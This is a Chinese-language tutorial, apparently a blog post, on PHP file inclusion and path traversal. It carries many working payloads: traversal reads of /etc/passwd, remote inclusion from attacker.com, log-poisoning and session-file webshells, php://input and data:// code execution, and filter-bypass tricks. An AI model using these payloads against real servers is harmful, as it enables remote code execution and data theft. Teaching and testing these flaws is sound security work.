概述 (Overview)
文件包含和路径遍历是当应用程序允许外部输入(通常来自用户)更改其访问文件的路径时可能出现的漏洞。想象一个图书馆,其目录系统被操纵以访问未对公众开放的禁书;类似地,在 Web 应用程序中,这些漏洞主要源于对文件路径和 URL 的不当处理。
为了提高代码的重用性,Web 开发语言(如 PHP、JSP、ASP 等)提供了文件包含功能,允许开发者将一个文件的代码嵌入到另一个文件中执行。文件包含漏洞发生在以下情况:
- 应用程序使用了文件包含函数。
- 被包含的文件路径或文件名是由用户可控的变量决定的。
- 应用程序没有对用户提供的输入进行充分的验证和过滤。
攻击者可以利用此漏洞,让文件包含函数去包含并执行一个“意想不到”的文件。这可能导致:
- 未经授权的访问: 读取服务器上的敏感文件(如配置文件、源代码、系统文件)。
- 代码执行: 包含并执行恶意脚本(如 WebShell),从而可能完全控制服务器。
虽然文件包含功能存在于多种编程语言中,但由于 PHP 提供的包含功能非常灵活(特别是支持 URL 包含),这类漏洞在 PHP 应用中最为常见且危害通常更大。
Web 应用程序结构背景:
Web 应用程序通常由前端(用户界面,浏览器端)和后端(服务器端逻辑,处理请求、数据库交互)组成,通过 HTTP/HTTPS 协议进行通信。服务器端脚本(如 PHP)在服务器上运行,可以访问服务器的文件系统和数据库。文件处理是常见的服务器端操作,例如读取配置、保存上传、包含代码片段。当处理文件路径的用户输入未被正确清理或验证时,就会引发文件包含和路径遍历漏洞。
示例代码 (PHP):
<?php
// 示例1: ?page=a.php
// 用户可以通过URL参数 ?page=somefile.php 来控制包含哪个文件
$page = $_GET['page'];
include($page); // 如果$page未经过滤,则存在文件包含漏洞
// 示例2: ?home=b.html
$home = $_GET['home'];
include("pages/" . $home); // 可能存在目录遍历和文件包含漏洞,需要 ../ 来跳出 pages/
// 示例3: ?file=content
$file = $_GET['file'];
include($file . ".php"); // 可能通过 %00 截断(PHP < 5.3.4)或其他技巧绕过后缀限制
?>
涉及的危险函数 (PHP)
以下是 PHP 中常用的文件包含函数,若使用不当可能导致漏洞:
- include: 执行到
include时才包含文件。如果找不到被包含的文件,只会产生警告(E_WARNING),脚本将继续执行。 - include_once: 功能与
include类似,但会检查文件是否已经被包含过,如果已包含则不会再次包含。 - require: 在脚本开始运行时就包含文件。如果找不到被包含的文件,会产生致命错误(E_COMPILE_ERROR),并停止脚本执行。
- require_once: 功能与
require类似,但会检查文件是否已经被包含过,如果已包含则不会再次包含。
漏洞分类 (Vulnerability Classification)
本地文件包含 (Local File Inclusion - LFI)
- 描述: 仅能够包含服务器本地存在的文件。
- 影响: 由于攻击者通常不能直接控制服务器上的文件内容(除非结合其他漏洞),LFI 主要用于读取敏感文件,如:
- 系统配置文件 (
/etc/passwd,C:\Windows\System32\drivers\etc\hosts) - 应用程序源码和配置文件 (可能包含数据库凭据等)
- Web 服务器日志文件 (
/var/log/apache2/access.log)
- 系统配置文件 (
- 示例:
include.php?page=../../../../etc/passwd - 结合利用: LFI 漏洞常与文件上传漏洞或日志投毒结合使用。攻击者先设法将恶意代码写入服务器上的某个文件,然后利用 LFI 漏洞包含并执行该文件,从而将 LFI 升级为远程代码执行 (RCE)。
远程文件包含 (Remote File Inclusion - RFI)
- 描述: 能够通过 URL 地址包含并执行远程服务器上的文件。
- 影响: 危害通常比 LFI 更大,因为攻击者可以直接构造一个包含恶意代码的文件放在自己的服务器上,然后让目标服务器包含并执行它,轻松实现任意代码执行。
- 示例:
include.php?page=http://attacker.com/evil_script.txt(注意:被包含的远程文件不一定需要是.php后缀,只要内容是有效的 PHP 代码即可被执行) - 前提条件: RFI 的利用需要目标服务器 PHP 配置中以下选项开启(在现代 PHP 版本中
allow_url_include默认是关闭的,增加了利用难度):allow_url_fopen = On(用于访问 URL 对象,默认通常开启)allow_url_include = On(用于include/require远程文件,默认关闭)
文件包含基础:路径操作
理解文件包含漏洞利用的关键在于如何操纵文件路径。
- 路径遍历字符串 (
../或..\): 通用遍历字符串../(Unix-like) 或..\(Windows) 用于在文件系统的目录结构中向上导航一级。攻击者使用它来访问目标脚本允许目录之外的文件。 - 相对路径: 根据当前工作目录定位文件。例如,
include('includes/db.php')指向当前目录下includes子文件夹中的db.php。 - 绝对路径: 从文件系统的根目录开始指定完整路径。例如,
/var/www/html/config.php或C:\inetpub\wwwroot\config.php。
常见利用技巧与绕过方法 (Common Exploitation Techniques and Bypass Methods)
1. 结合文件上传 (Combining with File Uploads)
当 LFI 存在但 RFI 不可用时,如果存在文件上传功能,攻击者可以尝试上传包含恶意代码的文件,然后通过 LFI 包含执行。
- 绕过上传限制:
- 伪造图片头: 在 PHP 脚本内容前添加图片文件头标识 (如
GIF89a),使其看起来像一个合法的图片文件,可能绕过基于文件类型的检查。GIF89a <?php phpinfo(); ?> - 命令行合并 (Windows): 使用
copy /b image.png + shell.php webshell.png将图片和脚本二进制合并。 - 元数据注入: 使用工具 (如
exiftool) 将 PHP 代码写入图片的 EXIF 元数据或其他允许的位置。
- 伪造图片头: 在 PHP 脚本内容前添加图片文件头标识 (如
- 利用: 上传成功后,获取上传文件的服务器路径(可能需要猜测或通过其他方式泄露),然后使用 LFI 包含该文件,例如
?page=../../uploads/webshell.png。
2. 日志投毒 (Log Poisoning)
当存在 LFI 漏洞但无法上传文件时,可以尝试将恶意 PHP 代码注入到 Web 服务器的日志文件(如 Apache 的 access.log 或 error.log)中,然后利用 LFI 包含该日志文件来执行代码。
- 步骤:
- 确认日志路径和权限: 确定日志文件的绝对路径(如
/var/log/apache2/access.log,/var/log/httpd/access_log等)。需要确保 Web 服务器进程有权写入该日志,并且 Web 应用进程有权读取该日志。 - 注入恶意代码: 发送一个特制的 HTTP 请求,将 PHP 代码嵌入到会被记录的部分,如 URL 路径、查询参数、User-Agent 或 Referer 头。
- 通过 URL 参数:
# 使用 curl 或浏览器访问 http://vulnerable.com/index.php?page=<?php system('id'); ?> # 注意:代码在日志中可能会被 URL 编码,如 < 变成 %3C - 通过 User-Agent (使用 Burp Suite 或 nc):
GET / HTTP/1.1 Host: vulnerable.com User-Agent: <?php system($_GET['cmd']); ?> - 通过 Netcat 直接发送:
或者直接将代码作为请求发送 (可能会记录为无效请求,但代码仍在日志中):printf "GET /<?php echo passthru($_GET['c']); ?> HTTP/1.1\nHost: vulnerable.com\n\n" | nc vulnerable.com 80echo '<?php phpinfo(); ?>' | nc vulnerable.com 80
- 通过 URL 参数:
- 包含日志文件: 利用 LFI 漏洞包含日志文件。如果注入的代码需要参数(如
$_GET['cmd']),则在包含日志文件的 URL 中带上该参数。http://vulnerable.com/index.php?page=../../../../var/log/apache2/access.log&cmd=ls -al http://vulnerable.com/index.php?page=/var/log/nginx/access.log&c=whoami
- 确认日志路径和权限: 确定日志文件的绝对路径(如
- 注意: 日志文件可能很大,并且注入的代码可能会被 URL 编码或与其他日志条目混合,需要仔细构造 payload。
3. 利用 PHP 封装协议 (PHP Wrappers)
PHP 支持多种内置的 URL 风格封装协议,可用于文件系统函数,这些协议在文件包含漏洞中非常有用。
-
php://filter(读文件/转换): 元封装器,允许在读写流时应用过滤器。常用于读取 PHP 文件源码(避免被执行)或对任意文件内容进行编码/转换后读取。- 读取源码 (Base64 编码):
页面会返回http://vulnerable.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.phpconfig.php文件内容的 Base64 编码,解码后即可获得源码。 - 其他过滤器示例: PHP 提供多种过滤器,可用于观察输出或潜在的绕过。
Payload (读取 .htaccess)Output (示例) php://filter/convert.base64-encode/resource=.htaccessUmV3cml0ZUVuZ2luZSBvbgpPcHRpb25zIC1JbmRleGVzphp://filter/string.rot13/resource=.htaccessErjevgrRatvar ba Bcgvbaf -Vaqrkrfphp://filter/string.toupper/resource=.htaccessREWRITEENGINE ON OPTIONS -INDEXESphp://filter/string.tolower/resource=.htaccessrewriteengine on options -indexesphp://filter/string.strip_tags/resource=.htaccessRewriteEngine on Options -Indexes.htaccess(无过滤器)RewriteEngine on Options -Indexes - LFI to RCE (结合
convert.base64-decode和data://):
如果allow_url_include = On,可以构造 payload 来解码并执行 Base64 编码的 PHP 代码。
Payload:<?php system($_GET['cmd']); echo 'Shell done!'; ?>
Base64 Encoded:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+
构造 URL:
分解:http://vulnerable.com/index.php?page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+&cmd=whoamiphp://filter: 使用过滤器协议。convert.base64-decode: 指定解码过滤器。resource=data://plain/text,...: 指定资源为 data 协议。,PD9wa...Pz4+: Base64 编码的 PHP 代码。
服务器会先解码 Base64 数据,然后include执行解码后的 PHP 代码。 注意:&cmd=whoami参数需要附加在 URL 末尾,不能包含在 base64 编码部分。
- 读取源码 (Base64 编码):
-
php://input(执行 POST 数据): 只读流,可以访问请求的原始 POST 数据体。如果存在文件包含漏洞,并且allow_url_include = On,可以利用php://input来执行任意 PHP 代码。- 构造请求:
- URL:
http://vulnerable.com/index.php?page=php://input - Method: POST
- Request Body: 放入要执行的 PHP 代码。
POST /index.php?page=php://input HTTP/1.1 Host: vulnerable.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 <?php system('id'); ?>
- URL:
- 结果: 服务器会将 POST 请求体中的内容当作 PHP 代码通过
include执行。
- 构造请求:
-
data://(执行内联数据): 数据流包装器 (RFC 2397),允许将数据直接嵌入 URL 中。需要allow_url_fopen = On(通常默认开启)。如果allow_url_include = On也开启,可以用来执行代码。- 构造 URL:
# 执行 phpinfo() http://vulnerable.com/index.php?page=data:text/plain,<?php%20phpinfo();%20?> # 执行 system('ls'),使用 Base64 编码避免特殊字符问题 # <?php system('ls'); ?> -> PD9waHAgc3lzdGVtKCdscycpOyA/Pg== http://vulnerable.com/index.php?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg== - 分解:
data:协议头,[mediatype][;base64],<data>。 Mime-type 可以是text/plain。
- 构造 URL:
-
其他协议: PHP 支持多种协议,在特定场景下可能有用:
file://— 访问本地文件系统 (默认)。http://,https://— 访问 HTTP(s) 网址 (需allow_url_fopen=on,RFI 时需allow_url_include=on)。ftp://,ftps://— 访问 FTP(s) URLs (需allow_url_fopen=on)。zlib://— 压缩流。glob://— 查找匹配的文件路径模式。ssh2://— Secure Shell 2。expect://— 处理交互式的流。
4. 绕过过滤与混淆 (Bypassing Filters and Obfuscation)
开发者可能会使用函数(如 str_replace, preg_replace)过滤掉敏感字符或路径模式。
-
绕过路径遍历过滤 (
../,..\):- 编码:
- URL 编码:
../->%2e%2e%2f - 双重 URL 编码:
../->%252e%252e%252f(如果应用解码两次) - UTF-8 编码:
.->%c0%ae,/->%c0%af,\->%c1%9c(较少见,取决于服务器环境)
- URL 编码:
- 嵌套/混淆: 如果过滤不够严谨(例如只替换一次或只匹配精确字符串),可以尝试:
....//或....\/: 如果../被替换为空,....//可能变成../。..%2f或..%5c: 混合编码。%2e%2e/: 只编码点。..././..././: 插入无意义的路径段。
- 绝对路径: 如果知道 Web 应用的根目录或敏感文件的绝对路径,直接使用绝对路径可以绕过相对路径的过滤。
?page=/var/www/html/config.php
?page=C:/xampp/htdocs/secret.txt
- 编码:
-
绕过基础目录限制: 有些应用强制路径必须以特定目录开头,并过滤
../..。- 示例代码:
function containsStr($str, $subStr){ return strpos($str, $subStr) !== false; } if(isset($_GET['page'])){ // 要求必须包含 /var/www/html 且不能包含 ../.. if(!containsStr($_GET['page'], '../..') && containsStr($_GET['page'], '/var/www/html')){ include $_GET['page']; } else { echo 'You are not allowed...'; } } - 绕过 Payload: 在必需的基础目录后附加非标准但有效的遍历序列。
?page=/var/www/html/..//..//..//etc/passwd
这里..//..//实现了与../../相同的目录上移效果,但因为包含//而不完全匹配被过滤的../..字符串。文件系统通常会将//视为/。
- 示例代码:
-
绕过 RFI 协议过滤 (
http://,https://):- 大小写混合:
?page=hTtP://attacker.com/shell.txt - 双写/嵌套: 如果只替换一次
http://:
?page=htthttp://p://attacker.com/shell.txt-> (替换后)http://attacker.com/shell.txt - 使用其他协议: 如果目标环境支持且未被过滤,尝试
ftp://,https://(如果只过滤http://) 等。 - URL 编码:
http://->http%3a//
- 大小写混合:
-
绕过后缀限制: 如果代码强制添加后缀 (如
.php):- %00 空字节截断 (PHP < 5.3.4):
?page=../../../../etc/passwd%00
include("path/to/" . $_GET['page'] . ".php");->include("path/to/../../../../etc/passwd\0.php");(空字节后的内容被忽略)。 - 路径长度限制: 尝试超长路径名,可能导致后缀被截断 (取决于操作系统和 PHP 版本)。
- 点号截断 (特定 Windows 环境): 尝试在文件名末尾添加大量点号
.,如?page=shell.txt....................。 - 利用
?截断 (结合 RFI):?page=http://attacker.com/shell.txt?(问号后的.php可能被远程服务器视为参数)。
- %00 空字节截断 (PHP < 5.3.4):
5. 绕过文件名检查 (fnmatch / file://)
有时开发者会限制只能包含特定模式的文件名,例如使用 fnmatch("file*", $filename) 强制必须以 “file” 开头。
- 利用
file://协议:file://协议用于访问本地文件系统,其本身就以 “file” 开头,可以用来绕过这种检查,同时仍然能访问任意本地文件。// 假设代码类似: // if (!fnmatch("file*", $_GET['page']) && $_GET['page'] != "include.php") { // die("Invalid file."); // } // include($_GET['page']);- 绕过 URL:
?page=file:///etc/passwd
?page=file:///C:/Windows/System32/drivers/etc/hosts
- 绕过 URL:
6. 利用 PHP Session 文件
如果攻击者可以某种程度上控制 Session 变量的内容,并且知道 Session 文件的存储路径,可以尝试将 PHP 代码注入到 Session 数据中,然后利用 LFI 包含 Session 文件来执行代码。
- 场景: 假设应用将用户输入存入 Session:
// vulnerable_page.php session_start(); if(isset($_GET['user_input'])){ $_SESSION['userpref'] = $_GET['user_input']; } // ... later in the code, an LFI vulnerability exists ... include($_GET['page']); - 步骤:
- 注入代码: 访问页面,将 PHP 代码作为输入,使其存入 Session。
http://vulnerable.com/vulnerable_page.php?user_input=<?php system('id'); ?>
这段代码现在被存储在服务器上的该用户的 Session 文件里。 - 获取 Session ID: 从浏览器 Cookie 中找到
PHPSESSID的值。 - 确定 Session 文件路径: PHP Session 文件通常存储在
/var/lib/php/sessions/(Debian/Ubuntu),/tmp/或其他session.save_path指定的位置。文件名通常是sess_[PHPSESSID]。 - 包含 Session 文件: 利用 LFI 漏洞包含该 Session 文件。
http://vulnerable.com/index.php?page=../../../../var/lib/php/sessions/sess_YOUR_SESSION_ID_HERE
- 注入代码: 访问页面,将 PHP 代码作为输入,使其存入 Session。
- 结果: 服务器包含 Session 文件时,会执行其中注入的 PHP 代码。
1354

被折叠的 条评论
为什么被折叠?



